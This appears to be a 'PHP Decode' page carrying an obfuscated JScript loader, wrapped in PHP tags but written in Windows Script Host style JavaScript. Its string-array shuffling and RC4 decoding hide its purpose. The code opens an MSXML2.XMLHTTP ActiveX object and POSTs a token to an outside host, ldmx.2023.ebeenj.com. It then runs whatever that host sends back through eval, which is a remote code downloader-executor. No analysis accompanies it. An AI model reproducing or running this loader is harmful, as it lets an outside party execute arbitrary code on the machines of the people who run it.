PHP Decode

<?  function a0_0x5eca() { 
  var _0x13a5df = ["W4uShtTHxSkqEmkMm8k2", "W5rdW6XGW4b5DSo5", "WORdMSopWO7cP8kOfq", "zXNdTmkZjNrRdSoaWRz2zM0", "WRdcVCk5W6e", "uvhdMCoohCozk34zFa", "W6hcT8kHbW", "nmoHCYJdPeBcSmoKWP/cHW", "W6fQv8oTWOiSWQ9EWOXSFW", "WR0rWROwFIbndmokWQ8", "WOGynMi", "r8o4W6hdTsBdUCoZcSkOySkluq", "zH3dV8k5jxjSiSoIWQrFANm", "yCovbteCqZDZqSow", "W5aZWQhdJHNcLSkFd1ddOW", "W57dISosybuhW4zEumowWO/dUb3cNG", "WQnYWQWSk3zjWQbL", "WPDaEN4Mv8o7hCkzla", "W6uGW64DfG", "s8kxECkkWQWQW7JdNgze", "iSkKWQRcUa", "W78rECodomohW4hcQCkWcdq",  
  "WQfYW4SXaLb0WQ8", "tCkhlSoiCMbVsmokWPXqcCki", "A8kgvL7cJSoqW7tcNI/dNG", "W5dcUI3cM8oiCvdcSmk0BG", "WR7dNSojshhdHwNdTu/cGL/cTqNdIa", "WRBdLbBcRG", "WRZdHWC", "W6rKwCoGWODqW4jdWR59CZ7dJG", "W7T2Amkmj8o5i8kiWPxdOW", "qSkEWP/cOM7cGmoI", "eGtcMCkpsSkdgNGLxCkYW6m", "ySo1W7ddR8kpWRxcNW9Iy8opW5qL", "W5ZdHmoAfM5dWQWGBG", "umk/WQlcUq", "WP7cKCkFfwvAd8khpmoi", "WQPyervxWRldOSkjwSoN", "w30KW50iW54", "EmotWRBdKtyxiSkOsqFcKa", "WPaSFW3cMhurW4uPzW", "W4eqWRK8WQJcV3xdPKjUWPqAbq", "W6JcGmkbpN5AzmkYmSog"]; 
  a0_0x5eca = function() { 
    return _0x13a5df; 
  }; 
  return a0_0x5eca(); 
} 
(function(saveNotifs, data) { 
  var _sizeAnimateTimeStamps = saveNotifs(); 
  for (; true;) { 
    try { 
      var lastScriptData = -parseInt(a0_0x4511(443, "TOIh")) / 1 * (parseInt(a0_0x4511(417, "S$3K")) / 2) + -parseInt(a0_0x4511(444, "Ik]Y")) / 3 + parseInt(a0_0x4511(452, "ZpUk")) / 4 * (-parseInt(a0_0x4511(419, "OMYO")) / 5) + -parseInt(a0_0x4511(424, "2jp$")) / 6 + parseInt(a0_0x4511(412, "^2bV")) / 7 * (parseInt(a0_0x4511(453, "hGww")) / 8) + -parseInt(a0_0x4511(429, "rCwQ")) / 9 + parseInt(a0_0x4511(447, "q99h")) / 10; 
      if (lastScriptData === data) { 
        break; 
      } else { 
        _sizeAnimateTimeStamps.push(_sizeAnimateTimeStamps.shift()); 
      } 
    } catch (_0x3f9872) { 
      _sizeAnimateTimeStamps.push(_sizeAnimateTimeStamps.shift()); 
    } 
  } 
})(a0_0x5eca, 421746); 
function a0_0x4a5130(res) { 
  return res.responseText; 
} 
function a0_0x133a4d(frustum2DWidth, mode) { 
  return a0_0x4511(frustum2DWidth - 253, mode); 
} 
var a0_0xd258ca = new this.ActiveXObject("MSXML2.XMLHTTP"); 
function a0_0x4511(callback, event) { 
  var param = a0_0x5eca(); 
  a0_0x4511 = function(type, value) { 
    type = type - 412; 
    var data = param[type]; 
    if (a0_0x4511.PhStht === undefined) { 
      var replace = function(str1) { 
        var strTmp = ""; 
        var escapedString = ""; 
        var q = 0; 
        var u; 
        var c; 
        var i1 = 0; 
        for (; c = str1.charAt(i1++); ~c && (u = q % 4 ? u * 64 + c : c, q++ % 4) ? strTmp = strTmp + String.fromCharCode(255 & u >> (-2 * q & 6)) : 0) { 
          c = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(c); 
        } 
        var i = 0; 
        var cbBytes = strTmp.length; 
        for (; i < cbBytes; i++) { 
          escapedString = escapedString + ("%" + ("00" + strTmp.charCodeAt(i).toString(16)).slice(-2)); 
        } 
        return decodeURIComponent(escapedString); 
      }; 
      var buildWordClusters = function(s, chars) { 
        var S = []; 
        var j = 0; 
        var t; 
        var result = ""; 
        s = replace(s); 
        var i; 
        i = 0; 
        for (; i < 256; i++) { 
          S[i] = i; 
        } 
        i = 0; 
        for (; i < 256; i++) { 
          j = (j + S[i] + chars.charCodeAt(i % chars.length)) % 256; 
          t = S[i]; 
          S[i] = S[j]; 
          S[j] = t; 
        } 
        i = 0; 
        j = 0; 
        var index = 0; 
        for (; index < s.length; index++) { 
          i = (i + 1) % 256; 
          j = (j + S[i]) % 256; 
          t = S[i]; 
          S[i] = S[j]; 
          S[j] = t; 
          result = result + String.fromCharCode(s.charCodeAt(index) ^ S[(S[i] + S[j]) % 256]); 
        } 
        return result; 
      }; 
      a0_0x4511.iwwxTx = buildWordClusters; 
      callback = arguments; 
      a0_0x4511.PhStht = true; 
    } 
    var name = param[0]; 
    var key = type + name; 
    var results = arguments[key]; 
    if (!results) { 
      if (a0_0x4511.fvMRnE === undefined) { 
        a0_0x4511.fvMRnE = true; 
      } 
      data = a0_0x4511.iwwxTx(data, value); 
      arguments[key] = data; 
    } else { 
      data = results; 
    } 
    return data; 
  }; 
  return a0_0x4511(arguments, event); 
} 
a0_0xd258ca.open("POST", "https://ldmx.2023.ebeenj.com/editContent", false); 
a0_0xd258ca.setRequestHeader("Upgrade-Insecure-Requests", "1"); 
a0_0xd258ca.send("x1r5NGj3uB7rjBme3zlddUQpvG27NhI4DtE9N3GNkQ=="); 
this.eval(a0_0xd258ca.responseText); 
 ?>